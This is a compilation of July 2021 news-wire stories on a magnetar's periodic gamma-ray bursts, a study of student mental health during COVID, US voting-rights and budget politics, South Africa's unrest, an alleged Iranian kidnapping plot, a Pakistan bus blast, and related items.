Galactic gamma ray bursts predicted last year show up right on schedule

Magnetars are bizarre objects -- massive, spinning neutron stars with magnetic fields among the most powerful known, capable of shooting off brief bursts of radio waves so bright they're visible across the universe.

A team of astrophysicists has now found another peculiarity of magnetars: They can emit bursts of low energy gamma rays in a pattern never before seen in any other astronomical object.

It's unclear why this should be, but magnetars themselves are poorly understood, with dozens of theories about how they produce radio and gamma ray bursts. The recognition of this unusual pattern of gamma ray activity could help theorists figure out the mechanisms involved.

"Magnetars, which are connected with fast radio bursts and soft gamma repeaters, have something periodic going on, on top of randomness," said astrophysicist Bruce Grossan, an astrophysicist at the University of California, Berkeley's Space Sciences Laboratory (SSL). "This is another mystery on top of the mystery of how the bursts are produced."

The researchers -- Grossan and theoretical physicist and cosmologist Eric Linder from UC Berkeley and postdoctoral fellow Mikhail Denissenya from Nazarbayev University in Kazakhstan -- discovered the pattern in bursts from a soft gamma repeater, SGR1935+2154, that is a magnetar, a prolific source of soft or lower energy gamma ray bursts and the only known source of fast radio bursts within our Milky Way galaxy. They found that the object emits bursts randomly, but only within regular four-month windows of time, each active window separated by three months of inactivity.

On March 19, the team uploaded a preprint claiming "periodic windowed behavior" in soft gamma bursts from SGR1935+2154 and predicted that these bursts would start up again after June 1 -- following a three month hiatus -- and could occur throughout a four-month window ending Oct. 7.

On June 24, three weeks into the window of activity, the first new burst from SGR1935+2154 was observed after the predicted three month gap, and nearly a dozen more bursts have been observed since, including one on July 6, the day the paper was published online in the journal Physical Review D.

"These new bursts within this window means that our prediction is dead on," said Grossan, who studies high energy astronomical transients. "Probably more important is that no bursts were detected between the windows since we first published our preprint."

Linder likens the non-detection of bursts in three-month windows to a key clue -- the "curious incident" that a guard dog did not bark in the nighttime -- that allowed Sherlock Holmes to solve a murder in the short story "The Adventure of Silver Blaze".

"Missing or occasional data is a nightmare for any scientist," noted Denissenya, the first author of the paper and a member of the Energetic Cosmos Laboratory at Nazarbayev University that was founded several years ago by Grossan, Linder and UC Berkeley cosmologist and Nobel laureate George Smoot. "In our case, it was crucial to realize that missing bursts or no bursts at all carry information."

The confirmation of their prediction startled and thrilled the researchers, who think this may be a novel example of a phenomenon -- periodic windowed behavior -- that could characterize emissions from other astronomical objects.

Mining data from 27-year-old satellite

Within the last year, researchers suggested that the emission of fast radio bursts -- which typically last a few thousandths of a second -- from distant galaxies might be clustered in a periodic windowed pattern. But the data were intermittent, and the statistical and computational tools to firmly establish such a claim with sparse data were not well developed.

Grossan convinced Linder to explore whether advanced techniques and tools could be used to demonstrate that periodically windowed -- but random, as well, within an activity window -- behavior was present in the soft gamma ray burst data of the SGR1935+2154 magnetar. The Konus instrument aboard the WIND spacecraft, launched in 1994, has recorded soft gamma ray bursts from that object -- which also exhibits fast radio bursts -- since 2014 and likely never missed a bright one.

Linder, a member of the Supernova Cosmology Project based at Lawrence Berkeley National Laboratory, had used advanced statistical techniques to study the clustering in space of galaxies in the universe, and he and Denissenya adapted these techniques to analyze the clustering of bursts in time. Their analysis, the first to use such techniques for repeated events, showed an unusual windowed periodicity distinct from the very precise repetition produced by bodies rotating or in orbit, which most astronomers think of when they think of periodic behavior.

"So far, we have observed bursts over 10 windowed periods since 2014, and the probability is 3 in 10,000 that while we think it is periodic windowed, it is actually random," he said, meaning there's a 99.97% chance they're right. He noted that a Monte Carlo simulation indicated that the chance they're seeing a pattern that isn't really there is likely well under 1 in a billion.

The recent observation of five bursts within their predicted window, seen by WIND and other spacecraft monitoring gamma ray bursts, adds to their confidence. However, a single future burst observed outside the window would disprove the whole theory, or cause them to redo their analysis completely.

"The most intriguing and fun part for me was to make predictions that could be tested in the sky. We then ran simulations against real and random patterns and found it really did tell us about the bursts," Denissenya said.

As for what causes this pattern, Grossan and Linder can only guess. Soft gamma ray bursts from magnetars are thought to involve starquakes, perhaps triggered by interactions between the neutron star's crust and its intense magnetic field. Magnetars rotate once every few seconds, and if the rotation is accompanied by a precession -- a wobble in the rotation -- that might make the source of burst emission point to Earth only within a certain window. Another possibility, Grossan said, is that a dense, rotating cloud of obscuring material surrounds the magnetar but has a hole that only periodically allows bursts to come out and reach Earth.

"At this stage of our knowledge of these sources, we can't really say which it is," Grossan said. "This is a rich phenomenon that will likely be studied for some time."

Linder agrees and points out that the advances were made by the cross-pollination of techniques from high energy astrophysics observations and theoretical cosmology.

"UC Berkeley is a great place where diverse scientists can come together," he said. "They will continue to watch and learn and even 'listen' with their instruments for more dogs in the night."

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This story has been published on: 2021-07-13. To contact the author, please use the contact details within the article.
From 'distress' to 'unscathed' -- mental health of UW students during spring 2020

In early March 2020, the University of Washington became the first four-year U.S. university to transition to online-only classes due to the COVID-19 pandemic.

Many researchers predicted severe consequences of these physical distancing measures. To understand how this change affected college students' mental health, UW researchers surveyed 147 UW students over the 2020 spring quarter, which began shortly after the university transitioned to online-only classes. The team compared the students' responses to a previous survey of 253 students in spring quarter 2019.

The researchers didn't see much change in average levels of students' depressive symptoms, anxiety, stress or loneliness between 2019 and 2020 or between the beginning and the end of spring quarter 2020. But these average values were masking large differences in students' individual pandemic experiences. In general, students who used more problem-focused forms of coping -- creating plans, focusing on positive aspects, etc. -- experienced fewer mental health symptoms than those who disengaged or ignored a situation that was bothering them.

The researchers published these findings June 28 in PLOS ONE.

"During the pandemic, the challenges of online learning were entwined with social isolation, family demands and socioeconomic pressures," said lead author Margaret Morris, an affiliate associate professor in the UW Information School. "There's not a simple answer to the question of how students were affected: Some experienced intense distress while others were unscathed."

For the past four years, this team has spent spring quarter studying what factors contribute to undergraduates' overall mental health and well-being. Students are invited to continue participating in each spring quarter study, and the researchers also recruit new students each time. In a previous paper, the researchers found that experiencing discrimination events altered student behavior, such as the amount of sleep or exercise a student got following the event.

For the 2020 cohort, the team used three different survey methods to monitor student health. First, they sent large surveys at the beginning and end of spring quarter. Then participants received two shorter surveys each week that asked them to reflect on how they felt -- in terms of stress, loneliness, depressive symptoms -- in the moment.

In general, students who reported more mental health symptoms at the beginning of the pandemic continued to experience elevated symptoms during the pandemic.

"Problem-focused coping protected students from the harmful effects of stress (anxiety and depression, for example), even though students who used more problem-focused strategies reported more stress," said co-author Kevin Kuehn, a UW doctoral student in clinical psychology.

"What these findings suggest is that students who coped by actively confronting their challenges, rather than avoiding them, still experienced highly stressful events over the course of the pandemic. However, they were protected from the mental health consequences," Kuehn said. "It may not always feel pleasant or easy to confront the challenges of daily life, particularly during a pandemic, but doing so is likely to be highly beneficial in terms of reducing anxiety and depressive symptoms."

Finally, at the end of spring quarter, the team conducted 90-minute in-depth interviews over Zoom with a subset of participants to gain deeper insight into their experiences.

The students described a range of challenges that interfered with learning: ? Decreased interaction with faculty and peers -- students mentioned that having fewer opportunities to interact with faculty and peers left them feeling less engaged. Some students said they felt like part-time students, even when they had full course loads ? No shared learning environments -- students spoke longingly of a table in a dorm or a spot in the library where they used to gather with classmates for impromptu study sessions ? Family needs -- family members' requests or noise often interrupted studying and even test-taking. Family needs, such as caregiving, were a particular challenge to learning for first-generation college students ? Interrupted autonomy -- some students felt "trapped" back at home and described difficult "power dynamics" with their parents ? Well-being and mental health -- many students described disrupted sleep, decreased motivation, and said that they felt depressed or anxious for periods of time. Students' feelings of detachment from school sometimes contributed to depression. Similarly, worry about grades sometimes cascaded into anxiety and insomnia that, in turn, made it harder to focus

Students also developed strategies to combat these challenges, including: ? Self-learning -- students used independent online research to figure out answers to their questions and made up their own experiments to explore what they were learning in class ? Structuring routines and environments -- many students created fixed schedules for studying or used physical calendars to mark timelines and assignments ? Learning with peers -- students created remote study groups and held informal remote co-working sessions that combined homework with personal conversations, which helped keep them on task ? Participating more in online spaces -- many students found it less daunting to ask questions in online classes than in large lecture halls, others found it easier to participate in online office hours and meetings with advisers ? Using communication platforms for emotional wellbeing -- some students used telehealth or meditation apps, but almost all of them used video communication to check in with their friends. Students emphasized that these connections were critical for their mental health

"On an optimistic note, students are emerging with critical skills for learning and maintaining connectedness with peers over a distance," Morris said. "These active coping skills, which include things such as initiating virtual co-working sessions, leveraging online functions to participate in class and checking in on friends in an emotionally sensitive way, will have continued value as we resume in-person and hybrid models of education."

The team plans to follow students through all four years of their time at the UW. The first study cohort graduated this year, and the second cohort will graduate in spring 2022.

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Additional co-authors are Jennifer Brown, an alumnus of the UW school of public health who is the research coordinator for this project; Paula Nurius, a professor in the UW School of Social Work; Han Zhang and Yasaman Sefidgar, UW doctoral students in the Paul G. Allen School of Computer Science & Engineering; Xuhai Xu, a doctoral student in the Information School; Eve Riskin, a UW professor of electrical and computer engineering; Anind Dey, professor and dean of the UW Information School; Sunny Consolvo, a researcher at Google; and Jennifer Mankoff, a professor in the Allen School. This research was funded by the National Science Foundation, the National Institute of Mental Health, Google, the Allen School, UW Department of Electrical & Computer Engineering, the UW College of Engineering and the UW Population Health Initiative.

For more information, contact Morris at margiemm@uw.edu.

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RTHK: Election rules 'test of our time' - Biden

President Joe Biden said on Tuesday that protecting voting rights from what he called Republican "election subversion" poses a historic "test" for the United States in the wake of the 2020 election.

"It's up to all of us to protect that right. It's a test of our time," he said in a speech in Philadelphia, birthplace of the US Constitution.

Referring to attempts led by Donald Trump to overturn the result of the presidential election, as well as pile on new voting rules in the name of security, Biden said "this is election subversion."

"It's the most the most dangerous threat to voting and the integrity of free and fair elections in our history," he said in a fiery speech.

Biden noted that in response to Republican allegations of fraud in 2020, more than 80 courts -- right up to the Supreme Court -- held hearings and in every case found nothing significantly wrong.

The 2020 presidential and congressional election saw the highest turnout in history, despite the Covid-19 pandemic, and was subsequently "the most scrutinized election ever in American history," he said.

Without naming Trump, he made clear what he thought of the Republican's unprecedented campaign to overturn the results.

"The big lie's just that: a big lie," he said. "In America if you lose you accept the results, you follow the constitution. You try again. You don't call facts 'fake' and then try to bring down the American experiment just because you're unhappy."

The speech in the city where the founding document of the US democratic system was drawn up and signed in 1787 is Biden's highest profile foray into a controversy that both Republicans and Democrats describe in dire terms.

According to the White House and congressional Democrats, Republicans are using state legislatures to restrict voting rights across the country under the guise of increasing election security.

Republicans, egged on by Trump, insist tougher voting rules are needed to crack down on voter fraud.

This means things like cutting back on mail-in voting, shortening hours at polls and imposing heavy fines against poll workers who make mistakes.

While Republicans say such measures would clean up US elections, Democrats point to an already extremely low incidence of fraud and say the measures target Black and other non-white voters, who tend to vote Democratic.

"They want to make it so hard and inconvenient that they hope people don't vote at all," Biden charged.

It's not clear, however, what difference he can make.

In his speech, he announced a doubling of staff for the Justice Department's voting rights division.

But broader impact would need a change in laws and Democrats, despite having a tiny majority in Congress, have been unable to get past Republican use of a blocking rule known as the filibuster.

Under the filibuster rule, it takes 60 out of the 100 senators to pass most legislation. Democrats have only 50 senators, with Vice President Kamala Harris able to cast a tie-breaking vote when needed.

Biden, however, has so far been reluctant to throw his weight fully behind calls by some Democrats to throw the filibuster out.

In the most dramatic episode of the ongoing struggle over voter access, Democratic lawmakers in Texas fled the state on Monday to prevent a quorum in the legislature, where the Republican majority was about to vote in new restrictions.

The Democrats' exodus was the second time they'd used the unusual tactic to derail the bill. The Texans headed for Washington where they were lobbying congressional lawmakers to push ahead on federal voting protection laws. (AFP)

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RTHK: Senate Democrats announce US$3.5trn budget deal

Senate Democrats said on Tuesday that they had reached a budget agreement among themselves that envisions spending US$3.5 trillion over the coming decade.

The fiscal plan would pave the way for Democrats' drive to direct a huge pool of federal resources at climate change, health care and family-service programs sought by President Joe Biden.

Senate Majority Leader Chuck Schumer, announced the accord flanked by all 11 Democrats on the chambers budget committee after a two-hour evening meeting that capped weeks of bargaining among party leaders, progressives and moderates.

If congressional Democrats rally behind the proposal and turn it into a budget resolution they can push through Congress in coming weeks, it would help them enact a subsequent, sweeping bill that would actually fund their priorities.

Thats because the budget resolution contains language that would let Democrats move the huge spending bill through the Senate with just a simple majority, not the 60 votes Republicans could demand by using a bill-killing filibuster.

We are very proud of this plan, Schumer told reporters. We know we have a long road to go. Were going to get this done for the sake of making average Americans lives a whole lot better. (AP)

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South Africa: President Ramaphosa meeting political party leaders

Following the wave of looting and property destruction in parts of KwaZulu-Natal and Gauteng, President Cyril Ramaphosa is this morning meeting political party leaders in a bid to quell the public violence and unrest.

President Ramaphosa has embarked on a round of consultations with the leadership of different sectors of society to develop a society-wide response to the violence and destruction of property.

The outreach supplements the mobilisation of the South African Police Service (SAPS), the South African National Defence Force (SANDF) and other law enforcement agencies.

On Monday, government Ministers engaged with business leadership on the situation in the country and agreed on several areas of cooperation.

On Tuesday, President Ramaphosa chaired the meeting of the National Security Council to assess developments around the country and coordinate governments security response, including intelligence gathering to the widespread criminality.

In the evening, the President, accompanied by several Ministers, met with religious leaders from the different faith communities.

The leaders expressed support for governments efforts in bringing stability to a number of areas where incidents of unrest are taking place.

The religious leaders supported the deployment of the SANDF to support the police in stabilising the situation, and also called for a comprehensive response to the societal conditions enabling the events unfolding.

Government leaders are also engaging with informal and small business associations, community leaders, traditional leaders and others, particularly in KwaZulu-Natal and Gauteng.

During yesterdays evening meeting, religious leaders urged government to consider allowing communities of faith to gather for worship, while observing COVID-19 health regulations, as part of the national effort to restore calm and provide counselling to communities.

President Ramaphosa welcomed the concern expressed by interfaith leaders with regard to events ufolding in the country and welcomed a proposal for a national day of prayer.

Among the developments yesterday, the Justice, Crime Prevention and Security Cluster indicated that all law enforcement and security agencies, including metro and traffic police, are working together to ensure public order policing, patrolling in identified hotspots and protecting key public and private infrastructure targeted by the perpetrators of violence.

These law enforcement agencies have also been tasked to protect COVID-19 vaccine storage sites, schools and clinics where vaccinations are currently being rolled out.

As at 13h00 on Tuesday, 1 230 suspects had been arrested in connection with public violence and looting.

In KwaZulu-Natal, 547 suspects have been arrested, while 683 suspects are in custody in Gauteng.

The Minister of Police, Bheki Cele and Acting Minister of Health, Mmamoloko Kubayi-Ngubane, separately visited Alexandra in Johannesburg to assess the situation on the ground.

The National Prosecuting Authority (NPA) is putting together a team of special prosecutors, which has been instructed to oppose bail for suspects associated with public violence and economic sabotage.

The law enforcement agencies have also been tasked to enforce the Disaster Management Act Regulations, especially ensuring observance of the curfew, which is from 9pm to 4am daily.

Communities are urged to report any criminal incidences to the SAPS hotline on 08600 10111.  SAnews.gov.za

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South Africa: Violent riots affects vaccine rollout, distribution of chronic meds

While the COVID-19 vaccination programme is continuing across most provinces, the National Health Department said the rollout of the lifesaving vaccine has been impacted in the unrest-struck provinces.

In addition, the recent violent protests have also disrupted access to essential healthcare services, including collection of chronic medication for tuberculosis, HIV, diabetes and others in some areas in both KwaZulu-Natal and Gauteng.

Government and the private sectors priority is to protect lives, and prevent harm to staff, patients, and medical supplies and property that form part of the vaccination programme.

Consequently, government and the private sector are adopting a precautionary principle, and will be temporarily closing some vaccination sites which have been damaged, or which may be at risk, the department said on Tuesday.

According to the department, anyone who had been scheduled to be vaccinated at sites in districts or areas that are affected by the unrest are advised to defer their vaccination.

The Health Department explained that the Electronic Vaccination Data System (EVDS) will automatically reschedule appointments for those unable to attend. The system is designed to reschedule up to two missed appointments.

If it is not clear whether an area has been affected, the public is advised to contact the vaccination site to which they have been assigned before proceeding to the site for the administration of vaccines.

In the meantime, the department said it would publicise a list of affected areas and sites as soon as it is available.

The department is also aware that some pharmacies and medical centres have been looted, and that stock has been stolen.

The department has since issued a warning to citizens to refrain from buying medicines offered for sale by anyone other than registered medical practitioners, pharmacies or hospitals, and to report any attempted sale to the police immediately.

Stolen or improperly dispensed medicines are extremely dangerous, as they may not have been stored properly, may be contaminated, or may cause dangerous side effects.

In addition, the Health Department said it is working closely with other departments in the security cluster and private sector to ensure that access to healthcare services and operations at vaccination sites are restored.

Everyone who is eligible and scheduled to be vaccinated in the affected areas is urged to call the COVID-19 Call Centre on 0800 029 999 or make use of the various self-help channels: vaccine.enroll.health.gov.za; WhatsApp 0600 123 56 or Dial *134*832# and reply to the messages.  SAnews.gov.za

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South Africa: IPID unable to investigate cases in protest areas in KZN, Gauteng

The Independent Police Investigative Directorate (IPID) has expressed concern at the ongoing business lootings and public violence in Gauteng and KwaZulu-Natal.

The attacks, which have gone on for over six days in the two provinces, have seen the police watchdog unable to execute its legislative mandate. To date, 72 people have died in the ongoing violence.

In a statement, the IPID said it was unable to access crime scenes as well as deceased bodies.

In this regard, the department calls on the members of the community to understand that the IPID investigators are not able to attend crime scenes of cases reported to us as well as reach the deceased bodies due to the chaos in the areas where protests are taking place, read the statement.

IPID said it had been notified of a case of death reported to be at Shoprite in Inanda and investigators could not reach the body as well as the crime scene due to burning tyres and attacks on vehicles by protesters.

The department was notified of another incident where a person died due to loss of blood because the ambulance could not reach the person on time as a result of the protest.

IPID found a hand grenade at a First National Bank (FNB) ATM in Inanda and needed to access the area together with the bomb unit of the SAPS.

The IPID has urged members of the South African Police Services (SAPS) to continue to act and manage the situation within the confines of the law at all material times to avert any potential loss of lives.

The Directorate said it had learned through social media platforms about an alleged incident at Meerensee in Richards Bay where a matric learner was allegedly shot by the police.

It said it was following up in order to establish the authenticity of the information or incident itself.

The department calls on the members of the community who may be aware of or know of such an incident to urgently contact our office and register the case. The department will issue a full report on cases received during protests and report on the ones which fall within the IPID mandate, it said.  SAnews.gov.za

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RTHK: US charges four alleged Iranian spies

US prosecutors have charged four Iranians, alleged to be intelligence operatives for Tehran, with plotting to kidnap a New York journalist and human rights activist who was critical of Iran, according to a Justice Department indictment unsealed on Tuesday.

In recent years, Iranian intelligence officers have tricked a number of overseas activists to travel to destinations where they were kidnapped and sent back to Iran, US authorities said.

While the indictment did not name the target of the plot, Reuters has confirmed she is Iranian-American journalist Masih Alinejad, who has contributed to the US government-funded Voice of America Persian language service and reports on human rights issues in Iran.

Asked by Reuters to confirm that Alinejad was the target of the plot, the Department of Justice declined to comment.

But Alinejad, reached by phone by Reuters after the indictment was released, said she was in a state of shock. She said she had been working with the Federal Bureau of Investigation since the agency approached her eight months ago with photographs taken by the plotters.

"They showed me the Islamic Republic had gotten very close," she said.

The four Iranians hired private investigators under false pretenses to surveil the journalist in Brooklyn, videotaping her family and home as part of a plot to kidnap her, according to prosecutors.

The four defendants planned "to forcibly take their intended victim to Iran, where the victims fate would have been uncertain at best," Audrey Strauss, the US attorney for the Southern District of New York, said.

The Iranian operatives hired private investigators in Manhattan to surveil Alinejad and her family, claiming that she was a missing person from Dubai who had fled the country to avoid paying a debt, prosecutors said

Prosecutors said the Iranian operatives had researched how they might spirit the journalist out of New York on a high-speed boat headed for Caracas.

Iran directed the operation against the journalist with "the intention to lure our citizen back to Iran as retaliation for their freedom of expression, said Assistant Director Alan E. Kohler Jr. of the FBIs Counterintelligence Division.

In 2019, Iranian intelligence officers lured Ruhollah Zam, a journalist living in France, out of the country, capturing and later executing him in Iran on sedition charges, prosecutors said.

Representatives for the Mission of Iran to the U.N. could not be reached for comment.

Alinejad said she had drawn the ire of Iran by publicising women in Iran protesting laws requiring head coverings, as well as accounts of Iranians killed in demonstrations in 2019.

Alinejad said Iranian operatives had tried multiple times to lure her to Turkey with threats and promises to meet family, she said.

FBI agents warned Alinejad earlier this year that Iran was planning to kidnap her, moving the journalist and her husband to a series of safe houses as they investigated the case.

She said she was still reeling from reading the indictment.

I cant believe Im not even safe in America, she said. (Reuters)

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South Africa: NPA issues stern warning to lawbreakers

The National Prosecuting Authority (NPA) says those who choose lawlessness, and to destroy the country and its people will face the force of the law.

The warning comes after the wave of looting and property destruction in parts of KwaZulu-Natal and Gauteng.

The rule of law, one of the basic tenets of our hard fought democracy, must prevail. As lawyers for the people of South Africa, the NPA will uphold the rule of law by ensuring that justice is delivered without fear, favour or prejudice.

We urge all fellow South Africans to utilise lawful means to protest and make their voices heard, otherwise no one wins, the NPA said in a statement.

The NPA acknowledged that South Africans have a right to voice their opinions and express their discontent through various lawful channels, including peaceful protest actions.

However, violent protests and criminal looting undermine the rule of law and will damage our countrys economy and development prospects at a very difficult when we are in the grips of a debilitating third wave of the COVID-19 pandemic.

This violence is not only criminal - it also destroys the livelihoods of many of our people, in particular the poor and most vulnerable, and will disproportionately affect women and children.

The National Director of Public Prosecutions and the leadership of the NPA strongly condemn the lawlessness and criminality ravaging the country, and they are monitoring developments to better organise the NPA to respond appropriately, the NPA said.

The NPA is working closely with the relevant government departments, particularly the South African Police Service to ensure full and transparent accountability for anyone accused of committing crimes linked to these violent protests and looting.

The law enforcement authorities must also do what is necessary to prevent further violence and acts of criminality. In particular, the focus must be on bringing to justice those responsible for incitement to commit acts of violence and other forms of criminal conduct.

The Deputy National Director of Public Prosecutions: Head of National Prosecutions Service (NPS) has advised the Directors of Public Prosecutions in the affected divisions to prioritise these matters and to refer these cases to prosecutors with the requisite experience, who must work with the police in their investigations.

Should any special arrangements need to be made with regard to the courts, this will be discussed with the stakeholders, the NPA said.

According to SAPS, 1 230 suspects have so far been arrested in connection with public violence and looting.

In KwaZulu-Natal, 547 suspects have been arrested, while 683 suspects are in custody in Gauteng.  SAnews.gov.za

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RTHK: China says Pakistan bus blast was 'bomb attack'

Rescuers pulled survivors on Wednesday from a ravine in northern Pakistan after an explosion sent their bus over the edge, killing 13 passengers, among them nine Chinese nationals and two Pakistani soldiers, sources said.

For several years, Chinese engineers and Pakistani construction workers have been working on hydroelectric projects as part of Beijing's Belt and Road Initiative in the remote province of Khyber-Paktunkhwa, where the blast took place.

"The entire government machinery has been mobilised to rescue the injured by air ambulance," a senior government official said, adding that "heavy losses" resulted from the plunge into the ravine.

While Pakistan's foreign ministry blamed a mechanical failure for a "leakage of gas that caused a blast", China's foreign ministry decried the incident as a bomb attack that caused injuries and death to its nationals.

Nine Chinese were killed, the embassy in Pakistan said in a statement.

In Beijing, a foreign ministry spokesman offered condolences, urging the south Asian nation to thoroughly investigate the blast and protect the safety of Chinese personnel, institutions and projects.

A senior administrative officer of the Hazara region said the bus was carrying more than 30 Chinese engineers to the site of the Dasu dam in Upper Kohistan.

The Dasu hydroelectric project is part of the China-Pakistan Economic Corridor, a $65-billion investment plan that aims to link western China to the southern Pakistani port of Gwadar.

The casualties, including the Chinese engineers, were taken to a hospital in Dasu, about 10 km from the blast site.

"Police and the bomb disposal squad are at the site," regional official Arif Khan Yousufzai told reporters outside the hospital, adding that authorities were waiting for an investigation report to ascertain details.

Pakistan's foreign ministry said it was in close contact with the Chinese embassy in the capital, Islamabad. (Reuters)

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Last updated: 2021-07-14 HKT 20:55

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Zero Childhood Cancer to continue mission of curing childhood cancer with $600k donation

Today we'd like to say a big thank you to the Lott for their generous donation of $600,000 to the Zero Childhood Cancer Program.

Cancer remains the biggest killer of children from disease in Australia. ZERO is Australia's first precision medicine program treating children who have been given less than a 30% chance of surviving their cancer diagnosis.

Led by Children's Cancer Institute and Kids Cancer Centre at Sydney Children's Hospital, Randwick, ZERO brings together all major Australian clinical and research centres working in childhood cancer as well as international collaborations.

Since its national clinical trial launched in September 2017, more than 500 children and young people with high-risk cancer have been enrolled. For over 70% of these patients, the program has successfully identified a personalised treatment plan to target the specific genetic changes driving their unique cancer, in under nine weeks.

Children's Cancer Institute's Executive Director Professor Michelle Haber AM said the donation would allow more seriously ill Australian children to enrol in Zero Childhood Cancer's ground-breaking program.

"Zero Childhood Cancer is about giving children smarter, targeted therapy by identifying the unique genetic changes of each child's cancer and using that to identify what drugs are going to be best placed to fight that cancer," she explained.

"It's about improving the outcome for every individual child and sparing the child of the side effects of other aggressive and unsuccessful treatments. It's donations like this one today that allow us to expand this program and ensure more children have access to targeted treatment."

Nowhere does this ground-breaking program matter more than on oncology wards. Clinical Research Leader and oncologist Professor Tracey O'Brien says the possibility of new cancer treatments for children is urgently needed.

"This research program is disrupting how we think about treating childhood cancer which is very exciting. We are generating new knowledge and applying this to rapidly accelerate the use of experimental therapies where traditional chemotherapy has failed or unlikely to work. This is what every parent wants and every child with cancer deserves," says Prof O'Brien

Zero Childhood Cancer Program Leader, A/Prof Vanessa Tyrrell said Australian children battling cancer have already seen extraordinary results.

"For all the children who have had a treatment recommendation made, and for those who had the treatment administered, over 70% have had some kind of response," she explained.

"Their aggressive tumour has either been stabilised or their tumour has shrunk. I could never have imagined that we would have achieved that in the first five years of the Program. It's truly exciting.

"We're here and we do what we do because we all believe there needs to be a future where every child is able to have access to the right treatment, at the right time, the first time, every time, so zero children are dying from cancer.

The Lott's $600,000 contribution will be used to enhance the research capabilities of the Zero Childhood Cancer Program, to give every child with cancer in Australia the very best chance of survival.

The Lott Managing Director Sue van der Merwe said Australia's official lotteries was proud to continue its support of this revolutionary team on its aspirational mission of curing childhood cancer.

"Last year, we were honoured to donate $600,000 to Zero Childhood Cancer to help fund its national clinical trial, and we are thrilled to continue supporting the team on their incredible mission," she said.

"This partnership continues a long-held tradition of Australian lotteries funding vital health and medical initiatives. We're committed to giving back to the communities in which we operate and achieving better outcomes for childhood cancer is something we are particularly passionate about.

"This program is giving new hope to families and children going through an unimaginable ordeal. We want more children with cancer to have the opportunity to access personalised cancer treatment plans, and with today's $600,000 donation, along with the incredible work from the research and clinical partners, that will be possible."

The donation from The Lott, the home of Australia's official lotteries, includes some Golden Casket unclaimed prize money.

Last financial year, Australia's Official Lotteries contributed more than $1.4 billion via state lottery taxes and donations to help community initiatives, such as hospitals, health research, disaster relief and education.

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This story has been published on: 2021-07-14. To contact the author, please use the contact details within the article.
Hong Kong: More schools back jab programme

Secretary for the Civil Service Patrick Nip viewed the administration of COVID-19 vaccines to students and staff from three schools and the Chinese University today.

About 180 students and staff members of Po Kok Primary School, Buddhist Wong Fung Ling College and Christian Nationals' Evangelism Commission Lau Wing Sang Secondary School received the BioNTech vaccine at the community vaccination centre (CVC) at Queen Elizabeth Stadium through group bookings.

Mr Nip said more than 350 primary and secondary schools have expressed an interest in arranging for their staff and students to get vaccinated since the launch of two measures - the school outreach vaccination service and the reservation of time slots for vaccination at CVCs through group booking.

More schools opted to use the group booking service and so far 142 schools have arranged for their students to receive vaccination at CVCs through this service.

Separately, more than 400 Chinese University students and staff participated in the Government's outreach vaccination service to receive the BioNTech or Sinovac vaccine. Mr Nip visited the campus to observe the vaccine administration.

He said: I notice that the university already has plans to resume face-to-face classes and activities on campus in the new academic year.

The risk of the virus spreading will increase in areas with higher people flows. As such, students and staff members should get vaccinated for the sake of their health.

The Government further extended the COVID-19 Vaccination Programme last week to cover all eligible visitors holding valid travel documents who are allowed to stay in Hong Kong as permitted by the law, and can complete two doses of vaccination within their limit of stay without extension.

Overseas and exchange students studying in local universities can also benefit from this arrangement and get vaccinated for free.

Mr Nip noted that vaccination can protect against the virus and will help resume a more normal school life, adding that more support from young people is needed to help build an immune barrier in Hong Kong as soon as possible.

This story has been published on: 2021-07-14. To contact the author, please use the contact details within the article.
South Africa: Further SANDF deployment to violence-hit areas being considered: President Ramaphosa

A further deployment of members of the South African National Defence Force (SANDF) to areas affected by the ongoing violent attacks in Gauteng and KwaZulu-Natal is being considered, President Cyril Ramaphosa has told political party leaders.

The President revealed this on Wednesday during an online engagement with leaders of political parties represented in the National Assembly.

Parties represented at the meeting included the African National Congress, Democratic Alliance, Inkatha Freedom Party, United Democratic Movement, Freedom Front Plus, Congress of the People, African Christian Democratic Party, the Good Party, Al-Jamah, the African Transformation Movement, National Freedom Party and the Pan Africanist Congress.

During the meeting, the President said government is intensifying its efforts and working in partnership with civil society in an effort to stem public violence affecting various parts of the country.

In a statement, the Presidency said the meeting was part of a series of consultations undertaken by the President in the past two days with different sectors of society to develop a society-wide response to the current outbreak of public violence and economic damage, particularly in KwaZulu-Natal and Gauteng.

President Ramaphosa said the destruction witnessed by the nation hurts all South Africans, and not only those in the affected areas, and hurts the poor, the elderly and the vulnerable the most.

The President also cautioned that several areas of the country may soon be running short of basic provisions following the extensive disruption of food, fuel and medicine supply chains, said the Presidency.

Defence and Military Veterans Minister, Nosiviwe Mapisa-Nqakula and SANDF Chief, General Rudzani Maphwanya, briefed the leaders of political parties on the deployment of the SANDF at key commercial centres in KwaZulu-Natal and Gauteng.

In the meeting, the leaders characterised the situation in the country as an attack on the democratic order, which requires a multifaceted response in the long-term, in view of deep levels of unemployment and poverty.

However, leaders said the current conditions called for an immediate restoration of calm and order in communities, enabled by expanded deployment of the South African National Defence Force as a deterrent to violence and other forms of lawlessness.

The Presidency said the leaders urged that major transport routes be secured to allow fuel, food, medical supplies and other necessities to reach communities, and that the 9pm - 4am curfew be strictly enforced.

The political leaders called for greater coordination among the police, the national defence force, intelligence agencies, private security services and community-based safety structures.

President Ramaphosa in the meeting welcomed proposals made by political leaders and said the expanded deployment of the South African National Defence Force is being addressed.

The President noted the initiative taken by leaders of political parties to visit affected communities and said the presence of political leadership in communities at a time like this is welcome and necessary.

Party leaders submitted that while political differences exist, the situation in the country demands that South Africans come together to save lives and protect democracy.

Leaders said critical assessments are needed in future to assess how government and the country performs during this difficult time.  SAnews.gov.za

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South Africa: Government condemns destruction of community radio stations

The Government Communication and Information System (GCIS) has condemned the violent riots, which have left some of the community radio stations in Gauteng and KwaZulu-Natal wrecked.

The GCIS has spoken against the acts of criminality that destroyed Alex FM, Westside FM, and Mamelodi FM.

Meanwhile, the GCIS said it has learnt that other community radio stations have also been dealt a blow by the on-going violent protests and looting, including Intokozo FM, based in Umlazi, KwaZulu-Natal.

GCIS Acting Director-General, Michael Currin, has since expressed sadness over the brutal acts that left some of the community-based radio stations and other important institutions of this country damaged.

We are sad to hear of more damages that have been caused to community radio property. GCIS understands that some of these stations have now been taken off air, which is very unfortunate considering the role that community radio stations play in forging social change and uplifting communities.

Since 2008, Currin said GCIS has created a direct working relationship with community radio entities across South Africa because government understands and believes in what they stand for.

He also highlighted the important role that community radio stations play in a democratic society and promoting social change.

The media at large plays a crucial role to the economic and political development of citizens and it creates a broad range of information to stimulate citizens on the various developmental issues in their country, he said on Wednesday.

The media is one of the pillars of our democracy and it remains an integral part of human civilization, and community media serves as a viable platform for the public to participate in the democratic process by expressing their views and opinions.

